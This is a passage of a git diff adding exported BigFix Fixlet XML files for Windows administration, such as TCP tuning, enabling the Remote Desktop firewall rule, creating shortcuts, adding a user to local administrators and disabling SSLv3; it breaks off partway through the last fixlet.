@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure TCP: TcpTimedWaitDelay to 30 seconds
+  ID       : 3937
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2014-12-21T21:09:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure TCP: TcpTimedWaitDelay to 30 seconds</Title>
+    <Description><![CDATA[Configures TCP TimedWaitDelay to 30 seconds to allow for faster reuse of closed TCP ports.&nbsp; Necessary on some high-volume servers such as VMWare VCenter or BigFix that may run out of available ports.]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists (value &quot;TcpTimedWaitDelay&quot; of key &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; of native registry) whose (it as integer = 30)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2013-08-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 09 Sep 2013 19:52:33 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+action uses wow64 redirection false
+dos reg.exe add &quot;HKLM\System\CurrentControlSet\Services\Tcpip\Parameters&quot; /v &quot;TcpTimedWaitDelay&quot; /t REG_DWORD /d 30 /F
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop (3974).bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop (3974).bes
new file mode 100644
index 000000000..e49c10450
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop (3974).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Windows Firewall: Allow Remote Desktop
+  ID       : 3974
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2015-02-04T14:11:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Windows Firewall: Allow Remote Desktop</Title>
+    <Description><![CDATA[<P>Enables the "Remote Desktop" firewall group.&nbsp; Requires at least Windows Vista and an active Firewall to be relevant. </P>
+<P>NOTE: This is Relevant if the current state of "Remote Desktop" is disabled; but the fixlet only changes the local configuration.&nbsp; If the firewall rule set is controlled through Group Policy, this fixlet does not override.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6" as version]]></Relevance>
+    <Relevance>exists firewall whose (firewall enabled of current profile of local policy of firewall)</Relevance>
+    <Relevance>not rule group currently enabled &quot;Remote Desktop&quot; of firewall</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2014-04-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 04 Feb 2015 21:10:20 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+action uses wow64 redirection false
+
+waithidden netsh.exe advfirewall firewall set rule group=&quot;remote desktop&quot; new enable=Yes
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop.bes b/Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop.bes
new file mode 100644
index 000000000..e49c10450
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configure Windows Firewall_ Allow Remote Desktop.bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configure Windows Firewall: Allow Remote Desktop
+  ID       : 3974
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2015-02-04T14:11:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configure Windows Firewall: Allow Remote Desktop</Title>
+    <Description><![CDATA[<P>Enables the "Remote Desktop" firewall group.&nbsp; Requires at least Windows Vista and an active Firewall to be relevant. </P>
+<P>NOTE: This is Relevant if the current state of "Remote Desktop" is disabled; but the fixlet only changes the local configuration.&nbsp; If the firewall rule set is controlled through Group Policy, this fixlet does not override.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6" as version]]></Relevance>
+    <Relevance>exists firewall whose (firewall enabled of current profile of local policy of firewall)</Relevance>
+    <Relevance>not rule group currently enabled &quot;Remote Desktop&quot; of firewall</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2014-04-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 04 Feb 2015 21:10:20 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+action uses wow64 redirection false
+
+waithidden netsh.exe advfirewall firewall set rule group=&quot;remote desktop&quot; new enable=Yes
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Create Desktop Shortcut (PowerShell) (25589).bes b/Sites/Windows Management/Fixlets/Fixlets/Create Desktop Shortcut (PowerShell) (25589).bes
new file mode 100644
index 000000000..805d67bc5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Create Desktop Shortcut (PowerShell) (25589).bes	
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Create Desktop Shortcut (PowerShell)
+  ID       : 25589
+  Author   : CharlieJax
+  Domain   : BESC
+  Imported : 2018-11-30T11:56:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Create Desktop Shortcut (PowerShell)</Title>
+    <Description><![CDATA[<P>Deploys a shortcut to the currently logged in user's desktop.</P>
+<P>Prompts for:</P>
+<UL>
+<LI>All Users or Current User
+<LI>The name of the shorcut
+<LI>The URL (or file path)
+<LI>The icon path and code
+<UL>
+<LI>Many apps and dll files have multiple icons attached to them&nbsp; For example, the Shell32 Icon (<A href="http://help4windows.com/windows_8_shell32_dll.shtml">http://help4windows.com/windows_8_shell32_dll.shtml</A>)&nbsp;has a couple dozen&nbsp;(17 or 13 are excellent choices)
+<LI>Internet Explorer's default icon is set as the default option.&nbsp; Change it to any program.&nbsp; You can go to a desktop shortcut and click the "change icon" button to view other icon options and help you pick the one that works for you.</LI></UL></LI></UL>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-11-27</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 30 Nov 2018 19:58:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Actions to ask the user for the input
+action parameter query "SCTarget" with description "Enter 'Current' for Current User or 'All' for All Users." with default value "Current"
+action parameter query "SCName" with description "Enter the name for the icon." with default value "Google"
+action parameter query "SCurl" with description "Enter the URL or path to file" with default value "http://www.google.com"
+action parameter query "SCIcon" with description "Enter the path, code for the icon" with default value "c:\Program Files (x86)\Internet Explorer\iexplore.exe, 1"
+
+//Select Current User or All Users
+if {parameter "SCTarget" of action = "All"}
+    parameter "Desktop" = "c:\users\Public\Desktop"
+else
+    parameter "Desktop" = "c:\users\{name of current user}\Desktop"
+endif
+
+//Create the file
+delete __appendfile
+delete makeshortcut.ps1
+appendfile $Shell = New-Object -ComObject ("WScript.Shell")
+appendfile $ShortCut = $Shell.CreateShortcut("{parameter "Desktop"}\{parameter "SCName"}.lnk")
+appendfile $ShortCut.TargetPath="{parameter "SCurl"}"
+appendfile $ShortCut.Arguments=""
+appendfile $ShortCut.WorkingDirectory = "c:\temp";
+appendfile $ShortCut.WindowStyle = 1;
+appendfile $ShortCut.Hotkey = "";
+appendfile $ShortCut.IconLocation = "{parameter "SCIcon"}";
+appendfile $ShortCut.Description = "";
+appendfile $ShortCut.Save()
+
+//Execute the file
+move __appendfile makeshortcut.ps1
+waithidden "{pathname of system folder & "\WindowsPowerShell\v1.0\powershell.exe"}" ./makeshortcut.ps1]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Create Desktop shortcut in User Profile if missing (720).bes b/Sites/Windows Management/Fixlets/Fixlets/Create Desktop shortcut in User Profile if missing (720).bes
new file mode 100644
index 000000000..5db95fb6f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Create Desktop shortcut in User Profile if missing (720).bes	
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Create Desktop shortcut in User Profile if missing
+  ID       : 720
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-05T10:52:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Create Desktop shortcut in User Profile if missing</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it)) of operating system</Relevance>
+    <Relevance>exists current user AND (1 = number of logged on users)</Relevance>
+    <Relevance><![CDATA[exists folder ((value "USERPROFILE" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Volatile Environment") of registry as string) & "\Links")]]></Relevance>
+    <Relevance><![CDATA[not exists file "Desktop.lnk" of folder ((value "USERPROFILE" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Volatile Environment") of registry as string) & "\Links")]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2011-11-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 09 Nov 2011 18:57:35 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete __appendfile
+delete makeshortcut.vbs
+appendfile   Set oWS = WScript.CreateObject("WScript.Shell")
+appendfile   sLinkFile = "{(pathname of folder (value "USERPROFILE" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Volatile Environment") of registry as string))}\Links\Desktop.lnk"
+appendfile   Set oLink = oWS.CreateShortcut(sLinkFile)
+appendfile   oLink.TargetPath = "{(pathname of folder (value "USERPROFILE" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Volatile Environment") of registry as string))}\Desktop"
+appendfile   '    oLink.Arguments = ""
+appendfile   '    oLink.Description = "Desktop"
+appendfile   '    oLink.HotKey = ""
+//appendfile   '    oLink.IconLocation = "{pathname of system folder}\imageres.dll"
+appendfile   '    oLink.WindowStyle = "1"
+appendfile   '    oLink.WorkingDirectory = ""
+appendfile   oLink.Save
+move __appendfile makeshortcut.vbs
+waithidden "{pathname of system folder & "\cscript.exe"}" makeshortcut.vbs]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Create LS alias for DIR command - Windows (24046).bes b/Sites/Windows Management/Fixlets/Fixlets/Create LS alias for DIR command - Windows (24046).bes
new file mode 100644
index 000000000..c33e47af1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Create LS alias for DIR command - Windows (24046).bes	
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Create LS alias for DIR command - Windows
+  ID       : 24046
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-04-18T13:51:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Create LS alias for DIR command - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists lines whose(it contains &quot;@dir %25*&quot;) of files &quot;ls.bat&quot; of windows folders</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-04-18</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 18 Apr 2017 20:48:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// http://stackoverflow.com/questions/9362692/how-to-create-ls-in-windows-command-prompt
+// http://stackoverflow.com/questions/20530996/aliases-in-windows-command-prompt
+
+delete __createfile
+
+createfile until END_OF_FILE
+@dir %*
+@echo off
+
+REM added with bigfix
+REM this is to allow `LS` to be used as an alias for `DIR`
+END_OF_FILE
+
+delete {pathname of windows folders}\ls.bat
+copy __createfile {pathname of windows folders}\ls.bat
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Create _Open with Notepad_ Context Menu item - Windows (25531).bes b/Sites/Windows Management/Fixlets/Fixlets/Create _Open with Notepad_ Context Menu item - Windows (25531).bes
new file mode 100644
index 000000000..e5748333b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Create _Open with Notepad_ Context Menu item - Windows (25531).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Create "Open with Notepad" Context Menu item - Windows
+  ID       : 25531
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2018-07-26T12:58:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Create &quot;Open with Notepad&quot; Context Menu item - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists values &quot;&quot; whose(it as string = &quot;notepad %251&quot;) of keys &quot;HKEY_CLASSES_ROOT\*\shell\Open with Notepad\command&quot; of registry</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2018-07-26</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 26 Jul 2018 19:54:39 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+regset &quot;[HKEY_CLASSES_ROOT\*\shell\Open with Notepad\command]&quot; &quot;&quot;=&quot;notepad %1&quot;
+
+// https://www.howtogeek.com/107965/how-to-add-any-application-shortcut-to-windows-explorers-context-menu/
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Custom Patch_Uninstall KB3004394 to clear relevance for KB3024777 (3979).bes b/Sites/Windows Management/Fixlets/Fixlets/Custom Patch_Uninstall KB3004394 to clear relevance for KB3024777 (3979).bes
new file mode 100644
index 000000000..f08bbe941
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Custom Patch_Uninstall KB3004394 to clear relevance for KB3024777 (3979).bes	
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Custom Patch:Uninstall KB3004394 to clear relevance for KB3024777
+  ID       : 3979
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2015-02-12T12:21:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Custom Patch:Uninstall KB3004394 to clear relevance for KB3024777</Title>
+    <Description><![CDATA[<P>Microsoft's patch KB3024777 is to remove the broken patch KB3004394.</P>
+<P>But 3024777 itself fails to install in&nbsp;many instances.&nbsp; </P>
+<P>This&nbsp;Fixlet is to manually uninstall KB3004394 so 3024777 stops appearing Relevant. </P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance>version of operating system = &quot;6.1&quot; as version</Relevance>
+    <Relevance>/* registry says kb3004394 is installed */ exists  keys whose ((following text of last &quot;_&quot; of preceding text of first &quot;~&quot; of it = &quot;kb3004394&quot;) of (name of it as lowercase) AND (exists value &quot;CurrentState&quot; whose ((it = 96 or it = 112 or it = 6 or it = 7) of (it as integer)) of it)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot;  of native registry</Relevance>
+    <Relevance>/* cab files for kb3004394 are present */ exists (folders (following text of first &quot;\\?\&quot; of preceding text of last &quot;\inst&quot; of it)) whose (exists files whose (name of it as lowercase ends with &quot;.cab&quot;) of it) of (values &quot;InstallLocation&quot; of keys whose ((following text of last &quot;_&quot; of preceding text of first &quot;~&quot; of it = &quot;kb3004394&quot;) of (name of it as lowercase) AND (exists value &quot;CurrentState&quot; whose ((it = 96 or it = 112 or it = 6 or it = 7) of (it as integer)) of it)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages&quot;  of native registry as string)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-02-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 12 Feb 2015 19:20:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+action uses wow64 redirection false
+
+delete __appendfile
+appendfile {concatenation "%0d%0a" of ("dism.exe /online /remove-package /packagepath:%22" & it & "%22 /norestart") of pathnames of files whose (name of it ends with ".cab") of folders (unique values of (following text of first "\\?\" of preceding text of last "\inst" of it) of (values "InstallLocation" of keys whose ((following text of last "_" of preceding text of first "~" of it = "kb3004394") of (name of it as lowercase) AND (exists value "CurrentState" whose ((it = 96 or it = 112 or it = 6 or it = 7) of (it as integer)) of it)) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages"  of native registry as string))}
+delete Remove3004394.cmd
+move __appendfile RemoveKB3004394.cmd
+waithidden cmd /c RemoveKB3004394.cmd
+action requires restart "RemoveKB3004394"
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Custom Task - Add account to local administrators (3656).bes b/Sites/Windows Management/Fixlets/Fixlets/Custom Task - Add account to local administrators (3656).bes
new file mode 100644
index 000000000..2ac6cebc8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Custom Task - Add account to local administrators (3656).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Custom Task - Add account to local administrators
+  ID       : 3656
+  Author   : sirvin
+  Domain   : BESC
+  Imported : 2013-11-19T11:57:39
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Custom Task - Add account to local administrators</Title>
+    <Description><![CDATA[<P><STRONG><FONT size=4>Add Account to Local Admin</FONT></STRONG></P>
+<P>This action will prompt you for the domain and username you would like to add to the local administrators group. This prompt occurs before you select the computers you will target with the action.</P>
+<P>Please enter this in the following&nbsp;format without quotes: <FONT color=#800040><STRONG>DOMAIN\admin_username</STRONG></FONT></P>
+<P><FONT color=#800040><FONT color=#000000>Example: </FONT></FONT><FONT color=#800040><STRONG>TESTDOMAIN\admin_abc123</STRONG></FONT></P>
+<P><STRONG>Note: Check your spelling!&nbsp; Take care to apply to the computer you mean to!</STRONG></P>
+<P>This task should report completed once the username can be found in&nbsp;the administrators group.</P>]]></Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it) OR name of it = &quot;Win2008R2&quot; OR name of it = &quot;WinXPe&quot; OR name of it = &quot;Win8&quot; OR (name of it = &quot;Win8&quot; AND x64 of it)) of operating system AND TRUE</Relevance>
+    <Source>Internal</Source>
+    <SourceID>swi101</SourceID>
+    <SourceReleaseDate>2013-09-06</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 11 Sep 2013 13:02:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;DomainAndUsername&quot; with description &quot;Please specify the DOMAIN\admin_username to add to Administrators&quot;
+
+waithidden &quot;C:\Windows\System32\net.exe&quot; localgroup administrators {parameter &quot;DomainAndUsername&quot; of action} /add</ActionScript>
+      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/CustomPatch - KB3009008 - Disable SSLv3 in Per-User Internet Explorer settings using ActiveSetup (POODLE) (3914).bes b/Sites/Windows Management/Fixlets/Fixlets/CustomPatch - KB3009008 - Disable SSLv3 in Per-User Internet Explorer settings using ActiveSetup (POODLE) (3914).bes
new file mode 100644
index 000000000..8e2cc54fc
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/CustomPatch - KB3009008 - Disable SSLv3 in Per-User Internet Explorer settings using ActiveSetup (POODLE) (3914).bes	
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : CustomPatch - KB3009008 - Disable SSLv3 in Per-User Internet Explorer settings using ActiveSetup (POODLE)
+  ID       : 3914
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2014-11-03T12:12:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>CustomPatch - KB3009008 - Disable SSLv3 in Per-User Internet Explorer settings using ActiveSetup (POODLE)</Title>
+    <Description><![CDATA[<P>See <A href="https://support.microsoft.com/kb/3009008">https://support.microsoft.com/kb/3009008</A></P>
+<P>This Fixlet configures ActiveSetup to disable SSLv3 in Internet Explorer, to mitigate the "POODLE" vulnerability.&nbsp; As an ActiveSetup component, this runs one time for each user at their next logon time.&nbsp; </P>
+<P>The ActiveSetup script&nbsp;edits&nbsp;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\SecureProtocols.</P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(language of version block of file &quot;kernel32.dll&quot; of system folder contains &quot;English&quot;) OR (exists key &quot;HKLM\System\CurrentControlSet\Control\Nls\MUILanguages&quot; whose (exists value of it) of registry)</Relevance>
+    <Relevance>not ia64 of operating system</Relevance>
+    <Relevance>(name of it = &quot;Win2003&quot; OR name of it = &quot;WinVista&quot; OR name of it = &quot;Win2008&quot; OR name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win8&quot; OR name of it = &quot;Win2012&quot; OR name of it = &quot;Win8.1&quot; OR name of it = &quot;Win2012R2&quot;) of operating system</Relevance>
+    <Relevance><![CDATA[/* Check that the Registry is configured to execute this ActiveSetup component */ (not exists key "KB3009008_POODLE" whose (exists value "IsInstalled" whose (it=1) of it) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components" of native registry) OR /* Check that the files required for this ActiveSetup component are present; item 0 below is a semicolon-delimited set of file pathnames */ ( exists (("\admtools\ActiveSetup\KB3009008_POODLE\ActiveSetup.cmd"),root folder of drive of system folder) whose (not exists file (pathname of item 1 of it as string & item 0 of it)))]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2014-11-03</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 03 Nov 2014 19:10:35 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
+
+// Setup the files for ActiveSetup script operation
+dos mkdir "{root folder of drive of system folder}\admtools\ActiveSetup\KB3009008_POODLE"
+delete __appendfile
